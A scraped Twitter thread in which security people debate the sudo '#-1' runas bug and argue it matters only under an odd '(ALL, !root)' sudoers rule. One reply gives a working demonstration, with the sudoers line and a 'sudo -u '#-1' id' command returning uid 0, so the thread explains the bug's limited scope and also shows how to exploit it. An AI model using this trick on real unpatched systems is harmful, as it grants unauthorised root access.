Can we please stop talking about that sudo bug? It only affects systems using an insane configuration (allow $command as anyone *but* root). I can't come up with any situation where that configuration makes any sense (vs e.g. "allow $command as any member of a given group).
-
Show this thread
-
Replying to @marcan42 @travisgoodspeed
The only scenario I could come up with is one in which a group of users were granted the ability to impersonate a service account (eg www-data), rather than root, to administer that service. This vuln would let users in that group be root.
0 replies 0 retweets 1 like -
This Tweet is unavailable.
-
Replying to @m1matas @travisgoodspeed
No, this doesn't work. To rephrase: the bug is that if you allow users to sudo as user '-1', that unexpectedly means root. If you allow users to sudo as www-data or whatever, that isn't -1, and so they can't become root.
1 reply 0 retweets 0 likes -
For example: testuser ALL=(nobody) /usr/bin/id testuser@curious$ sudo -u nobody id uid=65534(nobody) gid=65534(nobody) groups=65534(nobody) testuser@curious$ sudo -u '#-1' id Sorry, user testuser is not allowed to execute '/usr/bin/id' as #-1 on curious.
1 reply 0 retweets 0 likes -
To trigger the bug you have to do this: testuser ALL=(ALL, !root) /usr/bin/id And then: testuser@$ sudo -u root id Sorry, user testuser is not allowed to execute '/usr/bin/id' as root on curious. testuser@$ sudo -u '#-1' id uid=0(root) gid=1002(testuser) groups=1002(testuser)
1 reply 0 retweets 1 like
But that config means you allow testuser to sudo as *literally any and all users except root*. That is not least privilege, that is "most privilege except for root", which is a stupid idea.
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.